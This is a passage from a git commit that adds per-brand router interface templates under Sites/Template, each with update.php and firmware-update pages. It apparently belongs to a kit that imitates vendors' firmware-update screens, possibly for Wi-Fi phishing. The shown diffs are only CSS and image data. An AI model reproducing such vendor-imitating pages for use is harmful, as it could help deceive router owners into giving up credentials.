Sites/Template/cisco_linksys/image/UI_03-2.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_03.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_04.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_05.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_06.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_07.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_10.gif create mode 100644 Sites/Template/cisco_linksys/image/UI_Cisco.gif create mode 100644 Sites/Template/cisco_linksys/image/alert_minor.gif create mode 100644 Sites/Template/cisco_linksys/image/blue.gif create mode 100644 Sites/Template/cisco_linksys/image/favicon.ico create mode 100644 Sites/Template/cisco_linksys/image/green.gif create mode 100644 Sites/Template/cisco_linksys/image/logo_gn.gif create mode 100644 Sites/Template/cisco_linksys/image/rtl/UI_03.gif create mode 100644 Sites/Template/cisco_linksys/image/rtl/UI_04.gif create mode 100644 Sites/Template/cisco_linksys/image/rtl/UI_05.gif create mode 100644 Sites/Template/cisco_linksys/index.html create mode 100644 Sites/Template/cisco_linksys/js/common.js create mode 100644 Sites/Template/cisco_linksys/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/cisco_linksys/js/pBar.js create mode 100644 Sites/Template/cisco_linksys/update.php create mode 100644 Sites/Template/digicom/config/connector.php create mode 100644 Sites/Template/digicom/css/bootstrap-submenu.css create mode 100644 Sites/Template/digicom/css/bootstrap.min.css create mode 100644 Sites/Template/digicom/css/my_style.css create mode 100644 Sites/Template/digicom/css/style.css create mode 100644 Sites/Template/digicom/css/stylemain.css create mode 100644 Sites/Template/digicom/img/advsetup.png create mode 100644 Sites/Template/digicom/img/exclamation.gif create mode 100644 Sites/Template/digicom/img/favicon.ico create mode 100644 Sites/Template/digicom/img/firewall.png create mode 100644 Sites/Template/digicom/img/logo.png create mode 100644 Sites/Template/digicom/img/netconf.png create mode 100644 Sites/Template/digicom/img/quicksetup.png create mode 100644 Sites/Template/digicom/img/stats.png create mode 100644 Sites/Template/digicom/img/wireless.png create mode 100644 Sites/Template/digicom/index.htm create mode 100644 Sites/Template/digicom/js/bootstrap-submenu.js create mode 100644 Sites/Template/digicom/js/bootstrap.min.js create mode 100644 Sites/Template/digicom/js/common.js create mode 100644 Sites/Template/digicom/js/detectmobilebrowser.js create mode 100644 Sites/Template/digicom/js/general.js create mode 100644 Sites/Template/digicom/js/jquery-1.11.0.min.js create mode 100644 Sites/Template/digicom/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/digicom/js/main-include.js create mode 100644 Sites/Template/digicom/js/pBar.js create mode 100644 Sites/Template/digicom/js/script.asc create mode 100644 Sites/Template/digicom/tools_update.html create mode 100644 Sites/Template/digicom/update.php create mode 100644 Sites/Template/dlink/browse.jpg create mode 100644 Sites/Template/dlink/config/connector.php create mode 100644 Sites/Template/dlink/css/bsecure.css create mode 100644 Sites/Template/dlink/css/style.css create mode 100644 Sites/Template/dlink/css/substyle_DIR-655.css create mode 100644 Sites/Template/dlink/img_bg_masthead_red.gif create mode 100644 Sites/Template/dlink/img_masthead_red.gif create mode 100644 Sites/Template/dlink/img_wireless_bottom.gif create mode 100644 Sites/Template/dlink/index.html create mode 100644 Sites/Template/dlink/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/dlink/js/pBar.js create mode 100644 Sites/Template/dlink/update.php create mode 100644 Sites/Template/fritzbox/config/connector.php create mode 100644 Sites/Template/fritzbox/css/default/images/favicon.ico create mode 100644 Sites/Template/fritzbox/css/default/images/icon_hilfe.png create mode 100644 Sites/Template/fritzbox/css/default/images/kopfbalken_links.png create mode 100644 Sites/Template/fritzbox/css/default/images/kopfbalken_mitte.gif create mode 100644 Sites/Template/fritzbox/css/default/images/leer.gif create mode 100644 Sites/Template/fritzbox/css/default/images/link_closed.gif create mode 100644 Sites/Template/fritzbox/css/default/images/link_open.gif create mode 100644 Sites/Template/fritzbox/css/default/images/reiter_aktiv_links.gif create mode 100644 Sites/Template/fritzbox/css/default/images/reiter_aktiv_rechts.gif create mode 100644 Sites/Template/fritzbox/css/default/images/reiter_inaktiv_links.gif create mode 100644 Sites/Template/fritzbox/css/default/images/reiter_inaktiv_rechts.gif create mode 100644 Sites/Template/fritzbox/css/default/images/reiterkarte_top_1px.gif create mode 100644 Sites/Template/fritzbox/css/default/images/wait.gif create mode 100644 Sites/Template/fritzbox/css/default/main.css create mode 100644 Sites/Template/fritzbox/css/default/sso_dropdown.css create mode 100644 Sites/Template/fritzbox/css/default/update.css create mode 100644 Sites/Template/fritzbox/index.html create mode 100644 Sites/Template/fritzbox/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/fritzbox/js/jxl.js create mode 100644 Sites/Template/fritzbox/js/pBar.js create mode 100644 Sites/Template/fritzbox/js/ready.js create mode 100644 Sites/Template/fritzbox/js/sso_dropdown.js create mode 100644 Sites/Template/fritzbox/update.php create mode 100644 Sites/Template/huawei/config/connector.php create mode 100644 Sites/Template/huawei/favicon.ico create mode 100644 Sites/Template/huawei/index.html create mode 100644 Sites/Template/huawei/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/huawei/js/pBar.js create mode 100644 Sites/Template/huawei/js/script.asc create mode 100644 Sites/Template/huawei/router_files/footer.html create mode 100644 Sites/Template/huawei/router_files/footer_data/footer.asc create mode 100644 Sites/Template/huawei/router_files/logo.html create mode 100644 Sites/Template/huawei/router_files/logo_data/helpmain.gif create mode 100644 Sites/Template/huawei/router_files/logo_data/leftblock.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/logo.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/logo.gif create mode 100644 Sites/Template/huawei/router_files/logo_data/logo2.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/logoback.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/logout.gif create mode 100644 Sites/Template/huawei/router_files/logo_data/midblock.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/rightblock.asc create mode 100644 Sites/Template/huawei/router_files/logo_data/stylemain.css create mode 100644 Sites/Template/huawei/router_files/menu.html create mode 100644 Sites/Template/huawei/router_files/menu_data/adminmenu.js create mode 100644 Sites/Template/huawei/router_files/menu_data/advance.gif create mode 100644 Sites/Template/huawei/router_files/menu_data/basic.gif create mode 100644 Sites/Template/huawei/router_files/menu_data/device.asc create mode 100644 Sites/Template/huawei/router_files/menu_data/firstmenu.gif create mode 100644 Sites/Template/huawei/router_files/menu_data/info.gif create mode 100644 Sites/Template/huawei/router_files/menu_data/maintain.gif create mode 100644 Sites/Template/huawei/router_files/menu_data/menutree.js create mode 100644 Sites/Template/huawei/router_files/menu_data/usermenu.js create mode 100644 Sites/Template/huawei/router_files/tab.html create mode 100644 Sites/Template/huawei/router_files/tab_data/clicktableft.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/clicktabmid.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/clicktabright.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/inittableft.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/inittabmid.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/inittabright.gif create mode 100644 Sites/Template/huawei/router_files/tab_data/tabbar.gif create mode 100644 Sites/Template/huawei/router_files/upgrade.html create mode 100644 Sites/Template/huawei/router_files/upgrade_data/sigh.gif create mode 100644 Sites/Template/huawei/router_files/upgrade_data/style.css create mode 100644 Sites/Template/huawei/router_files/upgrade_data/upgrade.css create mode 100644 Sites/Template/huawei/update.php create mode 100644 Sites/Template/netgear/config/connector.php create mode 100644 Sites/Template/netgear/css/form.css create mode 100644 Sites/Template/netgear/css/help.css create mode 100644 Sites/Template/netgear/css/upg_upgrade.css create mode 100644 Sites/Template/netgear/images/darkblue.gif create mode 100644 Sites/Template/netgear/images/favicon.ico create mode 100644 Sites/Template/netgear/images/liteblue.gif create mode 100644 Sites/Template/netgear/images/menublue.gif create mode 100644 Sites/Template/netgear/images/redbull.gif create mode 100644 Sites/Template/netgear/images/settings_v6.gif create mode 100644 Sites/Template/netgear/images/spacer.gif create mode 100644 Sites/Template/netgear/index.htm create mode 100644 Sites/Template/netgear/js/func.js create mode 100644 Sites/Template/netgear/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/netgear/js/pBar.js create mode 100644 Sites/Template/netgear/mnu_blank.htm create mode 100644 Sites/Template/netgear/mnu_menu.htm create mode 100644 Sites/Template/netgear/mnu_top.htm create mode 100644 Sites/Template/netgear/update.php create mode 100644 Sites/Template/netgear/upg_upgrade.htm create mode 100644 Sites/Template/netgear/upg_upgrade_h.htm create mode 100644 Sites/Template/netis/config/connector.php create mode 100644 Sites/Template/netis/css/netcore.css create mode 100644 Sites/Template/netis/css/style.css create mode 100644 Sites/Template/netis/css/update.css create mode 100644 Sites/Template/netis/css/welcome.css create mode 100644 Sites/Template/netis/images/back.gif create mode 100644 Sites/Template/netis/images/bg_leftmenu.gif create mode 100644 Sites/Template/netis/images/btn_mobile_setup.jpg create mode 100644 Sites/Template/netis/images/btn_quick_setup.jpg create mode 100644 Sites/Template/netis/images/del.gif create mode 100644 Sites/Template/netis/images/edit.gif create mode 100644 Sites/Template/netis/images/favicon.ico create mode 100644 Sites/Template/netis/images/help_b1.jpg create mode 100644 Sites/Template/netis/images/icon_jia.gif create mode 100644 Sites/Template/netis/images/icon_jian.gif create mode 100644 Sites/Template/netis/images/icon_no.gif create mode 100644 Sites/Template/netis/images/icon_now.gif create mode 100644 Sites/Template/netis/images/left_031.html create mode 100644 Sites/Template/netis/images/link.gif create mode 100644 Sites/Template/netis/images/logo_netis.png create mode 100644 Sites/Template/netis/images/top_right_bg.gif create mode 100644 Sites/Template/netis/index.htm create mode 100644 Sites/Template/netis/js/action.js create mode 100644 Sites/Template/netis/js/config.js create mode 100644 Sites/Template/netis/js/debug.js create mode 100644 Sites/Template/netis/js/init.js create mode 100644 Sites/Template/netis/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/netis/js/language_it.js create mode 100644 Sites/Template/netis/js/language_us.js create mode 100644 Sites/Template/netis/js/logic.js create mode 100644 Sites/Template/netis/js/menu.js create mode 100644 Sites/Template/netis/js/netcore.js create mode 100644 Sites/Template/netis/js/pBar.js create mode 100644 Sites/Template/netis/update.php create mode 100644 Sites/Template/sitecom/config/connector.php create mode 100644 Sites/Template/sitecom/css/main.css create mode 100644 Sites/Template/sitecom/css/style.css create mode 100644 Sites/Template/sitecom/download.htm create mode 100644 Sites/Template/sitecom/img/favicon.ico create mode 100644 Sites/Template/sitecom/img/header.png create mode 100644 Sites/Template/sitecom/img/logo.png create mode 100644 Sites/Template/sitecom/img/seperator.png create mode 100644 Sites/Template/sitecom/index.htm create mode 100644 Sites/Template/sitecom/js/bootstrap-submenu.js create mode 100644 Sites/Template/sitecom/js/bootstrap.min.js create mode 100644 Sites/Template/sitecom/js/common.js create mode 100644 Sites/Template/sitecom/js/detectmobilebrowser.js create mode 100644 Sites/Template/sitecom/js/general.js create mode 100644 Sites/Template/sitecom/js/getlanguage.js create mode 100644 Sites/Template/sitecom/js/jquery-1.11.0.min.js create mode 100644 Sites/Template/sitecom/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/sitecom/js/main-include.js create mode 100644 Sites/Template/sitecom/js/pBar.js create mode 100644 Sites/Template/sitecom/js/script.asc create mode 100644 Sites/Template/sitecom/js/setlanguage.js create mode 100644 Sites/Template/sitecom/status.html create mode 100644 Sites/Template/sitecom/status_deviceinfo.html create mode 100644 Sites/Template/sitecom/update.php create mode 100644 Sites/Template/technicolor/config/connector.php create mode 100644 Sites/Template/technicolor/images/bull__md.gif create mode 100644 Sites/Template/technicolor/images/ll00__md.gif create mode 100644 Sites/Template/technicolor/images/logo.gif create mode 100644 Sites/Template/technicolor/images/menutop.gif create mode 100644 Sites/Template/technicolor/images/net_l_r.gif create mode 100644 Sites/Template/technicolor/images/net_l_r_d.gif create mode 100644 Sites/Template/technicolor/images/net_t_d.gif create mode 100644 Sites/Template/technicolor/images/net_t_d_r.gif create mode 100644 Sites/Template/technicolor/images/net_t_r.gif create mode 100644 Sites/Template/technicolor/images/spacer.gif create mode 100644 Sites/Template/technicolor/images/stxx__xl.gif create mode 100644 Sites/Template/technicolor/images/task__md.gif create mode 100644 Sites/Template/technicolor/images/user.gif create mode 100644 Sites/Template/technicolor/index.html create mode 100644 Sites/Template/technicolor/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/technicolor/js/pBar.js create mode 100644 Sites/Template/technicolor/styles.css create mode 100644 Sites/Template/technicolor/update.php create mode 100644 Sites/Template/telecom/config/connector.php create mode 100644 Sites/Template/telecom/css/common.css create mode 100644 Sites/Template/telecom/css/style.css create mode 100644 Sites/Template/telecom/css/welcome.css create mode 100644 Sites/Template/telecom/favicon.ico create mode 100644 Sites/Template/telecom/img/header.png create mode 100644 Sites/Template/telecom/img/menu_ico_advanced.png create mode 100644 Sites/Template/telecom/img/menu_ico_basic.png create mode 100644 Sites/Template/telecom/img/menu_ico_home.png create mode 100644 Sites/Template/telecom/img/tools.png create mode 100644 Sites/Template/telecom/img/usb.png create mode 100644 Sites/Template/telecom/index.html create mode 100644 Sites/Template/telecom/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/telecom/js/pBar.js create mode 100644 Sites/Template/telecom/update.php create mode 100644 Sites/Template/tplink/config/connector.php create mode 100644 Sites/Template/tplink/css/main.css create mode 100644 Sites/Template/tplink/css/update.css create mode 100644 Sites/Template/tplink/img/col_hide.gif create mode 100644 Sites/Template/tplink/img/col_show.gif create mode 100644 Sites/Template/tplink/img/icon.jpg create mode 100644 Sites/Template/tplink/img/top1_1.jpg create mode 100644 Sites/Template/tplink/img/top1_2.jpg create mode 100644 Sites/Template/tplink/img/top2.jpg create mode 100644 Sites/Template/tplink/img/top_bg.jpg create mode 100644 Sites/Template/tplink/index.htm create mode 100644 Sites/Template/tplink/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/tplink/js/pBar.js create mode 100644 Sites/Template/tplink/update.php create mode 100644 Sites/Template/zyxel/config/connector.php create mode 100644 Sites/Template/zyxel/css/dtree.css create mode 100644 Sites/Template/zyxel/css/inside.css create mode 100644 Sites/Template/zyxel/css/inside_main_frame.css create mode 100644 Sites/Template/zyxel/css/reset.css create mode 100644 Sites/Template/zyxel/css/table.css create mode 100644 Sites/Template/zyxel/css/update.css create mode 100644 Sites/Template/zyxel/images/advance_bg.gif create mode 100644 Sites/Template/zyxel/images/advance_logo.jpg create mode 100644 Sites/Template/zyxel/images/air.gif create mode 100644 Sites/Template/zyxel/images/b_close.gif create mode 100644 Sites/Template/zyxel/images/b_config.gif create mode 100644 Sites/Template/zyxel/images/b_config_on.gif create mode 100644 Sites/Template/zyxel/images/b_dashboard.gif create mode 100644 Sites/Template/zyxel/images/b_dashboard_on.gif create mode 100644 Sites/Template/zyxel/images/b_maintenance_on.gif create mode 100644 Sites/Template/zyxel/images/b_monitor.gif create mode 100644 Sites/Template/zyxel/images/b_monitor_on.gif create mode 100644 Sites/Template/zyxel/images/button_left.gif create mode 100644 Sites/Template/zyxel/images/button_right.gif create mode 100644 Sites/Template/zyxel/images/down0.gif create mode 100644 Sites/Template/zyxel/images/empty.gif create mode 100644 Sites/Template/zyxel/images/favicon.ico create mode 100644 Sites/Template/zyxel/images/hightline.gif create mode 100644 Sites/Template/zyxel/images/i_about.gif create mode 100644 Sites/Template/zyxel/images/i_delete.gif create mode 100644 Sites/Template/zyxel/images/i_delete_on.gif create mode 100644 Sites/Template/zyxel/images/i_easy.gif create mode 100644 Sites/Template/zyxel/images/i_edit.gif create mode 100644 Sites/Template/zyxel/images/i_edit_on.gif create mode 100644 Sites/Template/zyxel/images/i_home.gif create mode 100644 Sites/Template/zyxel/images/i_info.jpg create mode 100644 Sites/Template/zyxel/images/i_message.gif create mode 100644 Sites/Template/zyxel/images/i_path.gif create mode 100644 Sites/Template/zyxel/images/i_percentage_blue.gif create mode 100644 Sites/Template/zyxel/images/i_percentage_center.gif create mode 100644 Sites/Template/zyxel/images/join.gif create mode 100644 Sites/Template/zyxel/images/loading.gif create mode 100644 Sites/Template/zyxel/images/menu_top.gif create mode 100644 Sites/Template/zyxel/images/message_bar.gif create mode 100644 Sites/Template/zyxel/images/message_bar2.gif create mode 100644 Sites/Template/zyxel/images/minusbottom.gif create mode 100644 Sites/Template/zyxel/images/plusbottom.gif create mode 100644 Sites/Template/zyxel/images/popup_down_center.gif create mode 100644 Sites/Template/zyxel/images/popup_down_left.gif create mode 100644 Sites/Template/zyxel/images/popup_down_right.gif create mode 100644 Sites/Template/zyxel/images/popup_main_left.gif create mode 100644 Sites/Template/zyxel/images/popup_main_right.gif create mode 100644 Sites/Template/zyxel/images/popup_top_center.gif create mode 100644 Sites/Template/zyxel/images/popup_top_left.gif create mode 100644 Sites/Template/zyxel/images/popup_top_right.gif create mode 100644 Sites/Template/zyxel/images/space.gif create mode 100644 Sites/Template/zyxel/images/tab_left.gif create mode 100644 Sites/Template/zyxel/images/tab_right.gif create mode 100644 Sites/Template/zyxel/images/table_bottom.gif create mode 100644 Sites/Template/zyxel/images/table_bottom_center.gif create mode 100644 Sites/Template/zyxel/images/table_bottom_left.gif create mode 100644 Sites/Template/zyxel/images/table_bottom_right.gif create mode 100644 Sites/Template/zyxel/images/table_top_center.gif create mode 100644 Sites/Template/zyxel/images/table_top_left.gif create mode 100644 Sites/Template/zyxel/images/table_top_right.gif create mode 100644 Sites/Template/zyxel/images/title_bg.jpg create mode 100644 Sites/Template/zyxel/index.html create mode 100644 Sites/Template/zyxel/js/jquery-2.1.4.min.js create mode 100644 Sites/Template/zyxel/js/pBar.js create mode 100644 Sites/Template/zyxel/js/setup.js create mode 100644 Sites/Template/zyxel/update.php create mode 100644 Sites/Template/zyxel/update_firmware.html diff --git a/Sites/Template/alice/config/connector.php b/Sites/Template/alice/config/connector.php new file mode 100644 index 0000000..6e695ef --- /dev/null +++ b/Sites/Template/alice/config/connector.php @@ -0,0 +1,10 @@ + diff --git a/Sites/Template/alice/css/_cpe.css b/Sites/Template/alice/css/_cpe.css new file mode 100644 index 0000000..140c998 --- /dev/null +++ b/Sites/Template/alice/css/_cpe.css @@ -0,0 +1,319 @@ +// Alice(R) is a registered trademark of Telecom Italia // Powered by Telecom Italia// + +td { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: normal; + text-decoration: none; + color: #666666; + background-color: #FFFFFF; + border-left-color: #FFFFFF; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #FFFFFF; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #FFFFFF; + border-bottom-width: 0px; + border-bottom-style: solid + } + +tr { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 16px; + font-weight: normal; + text-decoration: none; + color: #666666; + border-left-color: #FFFFFF; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #FFFFFF; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #FFFFFF; + border-bottom-width: 0px; + border-bottom-style: solid;} + +.td50 { + background-color: #B6C4E9; + border-bottom-color: #c0c0c0; + border-bottom-style: solid; + border-bottom-width: 1px; + border-left-color: #c0c0c0; + border-left-style: solid; + border-left-width: 1px; + border-right-color: #c0c0c0; + border-right-style: solid; + border-right-width: 1px; + border-top-color: #c0c0c0; + border-top-style: solid; + border-top-width: 1px; + color: #FFFFFF; + height: 50px; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 20px; + font-weight: bold; + text-align: center; + text-decoration: none} + +.tabH1 { + background-color: #53669e; + border-bottom-color: #c0c0c0; + border-bottom-style: solid; + border-bottom-width: 1px; + border-left-color: #c0c0c0; + border-left-style: solid; + border-left-width: 1px; + border-right-color: #c0c0c0; + border-right-style: solid; + border-right-width: 1px; + border-top-color: #c0c0c0; + border-top-style: solid; + border-top-width: 1px; + color: #FFFFFF; + height: 30px; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 20px; + font-weight: bold; + text-align: center; + text-decoration: none} + +.tabH2 { + background-color: #53669e; + border-bottom-color: #000000; + border-bottom-style: solid; + border-bottom-width: 0px; + border-left-color: #000000; + border-left-style: solid; + border-left-width: 0px; + border-right-color: #000000; + border-right-style: solid; + border-right-width: 0px; + border-top-color: #ffffff; + border-top-style: solid; + border-top-width: 0px; + height: 25px; + color: #ffffff; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 16px; + font-weight: bold; + text-align: center; + text-decoration: none} + +.tabH2a { + background-color: #B6C4E9; + border-bottom-color: #000000; + border-bottom-style: solid; + border-bottom-width: 0px; + border-left-color: #000000; + border-left-style: solid; + border-left-width: 0px; + border-right-color: #000000; + border-right-style: solid; + border-right-width: 0px; + border-top-color: #ffffff; + border-top-style: solid; + border-top-width: 0px; + height: 30px; + color: RED; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 18px; + font-weight: bold; + text-align: left; + text-decoration: none} + +.tabH2b { + background-color: #WHITE; + border-bottom-color: #000000; + border-bottom-style: solid; + border-bottom-width: 0px; + border-left-color: #000000; + border-left-style: solid; + border-left-width: 0px; + border-right-color: #000000; + border-right-style: solid; + border-right-width: 0px; + border-top-color: #ffffff; + border-top-style: solid; + border-top-width: 0px; + height: 150px; + color: #333333; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 14px; + font-weight: normal; + text-align: center; + text-decoration: none} + +.tabH2c { + background-color: #B6C4E9; + border-bottom-color: #000000; + border-bottom-style: solid; + border-bottom-width: 0px; + border-left-color: #000000; + border-left-style: solid; + border-left-width: 0px; + border-right-color: #000000; + border-right-style: solid; + border-right-width: 0px; + border-top-color: #ffffff; + border-top-style: solid; + border-top-width: 0px; + height: 30px; + color: #333333; + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 18px; + font-weight: bold; + text-align: left; + text-decoration: none} + +.tabH3 { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 15px; + font-weight: bold; + text-align: left; + text-decoration: none; + color: #FFFFFF; + height: 23px; + background-color: #B6C4E9; + border-left-color: #333333; + border-left-width: 1px; + border-left-style: solid; + border-right-color: #333333; + border-right-width: 1px; + border-right-style: solid; + border-top-color: #333333; + border-top-width: 1px; + border-top-style: solid; + border-bottom-color: #333333; + border-bottom-width: 1px; + border-bottom-style: solid;} + +.cell1 { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: bold; + text-align: left; + color: #FFFFFF; + height: 22px; + background-color: #53669E; + border-left-color: #333333; + border-left-width: 1px; + border-left-style: solid; + border-right-color: #333333; + border-right-width: 1px; + border-right-style: solid; + border-top-color: #333333; + border-top-width: 1px; + border-top-style: solid; + border-bottom-color: #333333; + border-bottom-style: solid; + border-bottom-width: 1px;} + +.cell2 { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: normal; + text-align: left; + color: #000000; + height: 22px; + background-color: #FFFFFF; + border-left-color: #333333; + border-left-width: 1px; + border-left-style: solid; + border-right-color: #333333; + border-right-width: 1px; + border-right-style: solid; + border-top-color: #333333; + border-top-width: 1px; + border-top-style: solid; + border-bottom-color: #333333; + border-bottom-width: 1px; + border-bottom-style: solid;} + +.th3 { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: normal; + color: black; + background-color: #FFFFFF; + border-left-color: #000000; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #000000; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #000000; + border-bottom-width: 0px; + border-bottom-style: solid;} + +.th3v { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: normal; + color: #009900; + background-color: #FFFFFF; + border-left-color: #000000; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #000000; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #000000; + border-bottom-width: 0px; + border-bottom-style: solid;} + +.th3a { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; font-weight: normal; color: #FF9900; + background-color: #FFFFFF; + border-left-color: #000000; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #000000; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #000000; + border-bottom-width: 0px; + border-bottom-style: solid;} + +.th3r {font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 12px; + font-weight: normal; + color: #FF0000; + background-color: #FFFFFF; + border-left-color: #000000; + border-left-width: 0px; + border-left-style: solid; + border-right-color: #000000; + border-right-width: 0px; + border-right-style: solid; + border-top-color: #000000; + border-top-width: 0px; + border-top-style: solid; + border-bottom-color: #000000; + border-bottom-width: 0px; + border-bottom-style: solid;} + + + h1 {font-family: Arial, Verdana, Helvetica, sans-serif; + font-size: 18px; + font-weight: bold; + color: #FFFFFF; + margin-top: 20px; + margin-left: 20%; + } \ No newline at end of file diff --git a/Sites/Template/alice/css/layout.css b/Sites/Template/alice/css/layout.css new file mode 100644 index 0000000..f6b2a85 --- /dev/null +++ b/Sites/Template/alice/css/layout.css @@ -0,0 +1,25 @@ +/* CSS Document */ + +html,body{margin:0;padding:0} +body{font: 76% arial,sans-serif;text-align:center} +p{margin:0 10px 10px} +a{display:block;color: #981793;padding-left:15px;padding-top:10px;margin-bottom:10px;} +div#header{height:110px;margin:0; + padding-left:10px;background-image: url(../images/header_agwifi.jpg); layer-background-image: url(../images/header_agwifi.jpg);} +div#container{text-align:left} + +div#left{background:#B7C4E8} +div#right{background:#FF8539} +div#footer{height:35px; background: #ff00ff;color: #FFF;background-image: url(/images/onda.gif); layer-background-image: url(/images/onda.gif);} +div#footer1{height:35px; background: #53669E;color: #FFF;} + + + +div#container{width:1000px;margin:0 auto} +div#wrapper{float:left;width:100%} +div#content{margin: 0 150px} +div#left{float:left;width:150px;height:700px;margin-left:-1000px} +div#right{float:left;width:150px;height:700px;margin-left:-150px} +div#footer{clear:left;width:100%} +div#footer1{clear:left;width:100%} + diff --git a/Sites/Template/alice/css/style.css b/Sites/Template/alice/css/style.css new file mode 100644 index 0000000..b6e9fe2 --- /dev/null +++ b/Sites/Template/alice/css/style.css @@ -0,0 +1,36 @@ +span.error { + color: #CC0000; + font-size: 10px; + font-weight: bold; +} + +progress { + display: none; + width: 25em; +} + +progress.update { + display: inline-block; +} + +.bold { + font-weight: bold !important; +} + +.red { + color: #CC0000 !important; +} + +fieldset { + border: none; +} + +fieldset .bold { + display: block;/* force to a block so width and word wrap work */ + float: left;/* keep to left of following control */ + width: 183px; + margin: 1px 8px 4px 0; + padding: 0; + border: 0; + text-align: right; +} \ No newline at end of file diff --git a/Sites/Template/alice/images/buttonB0.gif b/Sites/Template/alice/images/buttonB0.gif new file mode 100644 index 0000000000000000000000000000000000000000..fc9c9114829ae55ac50366fdbea91bc57e46afdc GIT binary patch literal 1594 zcmdUv_fyk%7{@=LCt!pEa#Ca*OHqi33Z!T~WymO^^i);=1w{qHvy3onfl@$_p+X{i zB!nbn5D1Z-kPtEmLv|=2h6rcC%0W+o3iKQLSM>Se^E~g@Gww6)K5ibaKRATM06h>7 zfXU{5B>?&W96+XES&%1_$qfw+6bgk(rP63L91hpi)YQ|{GcqzFkx1UXdnc7j7Zw&| zGTHn0?gv|k*7o-H&d$!}=H~M9GLy-ytgIXz9bH^p zTv}S1pP!$dot>VZo|>AH%jGL8DQsmh$=hv9Ym%fdPR)z~k|_TyAe~FNebs z3WY;MLo+ioU0q#ub#=A1wJa7(EEcob?DqEdwzjt6;ol76oPzkOY-;I3xuv z^au7RBD71z6yFyd4lyo{ghD~W9!09Juiu*i;TQf;E94a#%5b<1@h`bt6sae^f!o;F z$Y3ydJW2ur1QhX#0s!QC$?<#YKMZXZkwD?ug8-f)kLZJpng{^0sILzJ5Q#KCpO%OK zNMtb|LW$HqB9TZ>b^yp?fdCx{Kp;ja5YQk1kZ7Tho`g^!L=r6tfkZbSSYG3Pd70CJ=~37yuv)wJK(a=*fE{h5h~gbUIyek^di4-2r)O2JTPN9o1CS zuU&4nso`d7nw>4*C^U7+)HV!dB>aqZN;h^sX#3hMEBnPd9e>N`dMpd+&kq?T}4qVYmxSE#rz#9ks9zO1c^XcknmCHxIcvSP#17kx> zGE3c!Lozps_w|ES;(R5~fIS+fTp@nT(+)gj=BOX;_scUMHTx4fmf;&Fj_@buZ$qf-X5jijBdD@uu_7Q;Pf}%Jc~csa5pgW6Cf6j@BCkocCEF5in&_8%_TadO zIqaIBr^XF9A;(%3E)6f|%I;(w3pa`&gl3ygPsQ&vwQRj6XGp`B>q?Y0?^-;xEQQg^ z(6+eS8NqTlYmTc_g%)`hrcZAev7|itOMP12eC$dtg>q-h4iEp46#A$&>r}};9a@T( zC$_V?{jtWUiBPK1^@)gw6v<+46l3gYjAr+r+EzC7oJICs?9+<}KWkz0B{p3D$Q&!c zl-Znl1zQe~v%f@>PxH4ml4yK$OyrvIL_K+pz1sG5PGH4{uZwLlGoSlyCL^PjmDkIE zA2QfSSr@mb-85}*wxIkyoc8Mj##4veo;Cv*xR-6e()l2rcvIyqJ>|+Yb<|XTUKDfx zT})o8b?|PSS&CA=ZhXJ>;X3c^O}%u)(PYgJS8h6{AF$q-&(IBSHObbeZb+X$^76h6 GF8m9g0@1zz literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonB9.gif b/Sites/Template/alice/images/buttonB9.gif new file mode 100644 index 0000000000000000000000000000000000000000..5b9c8489b9a77f5f120746210e79d32a264963d9 GIT binary patch literal 1737 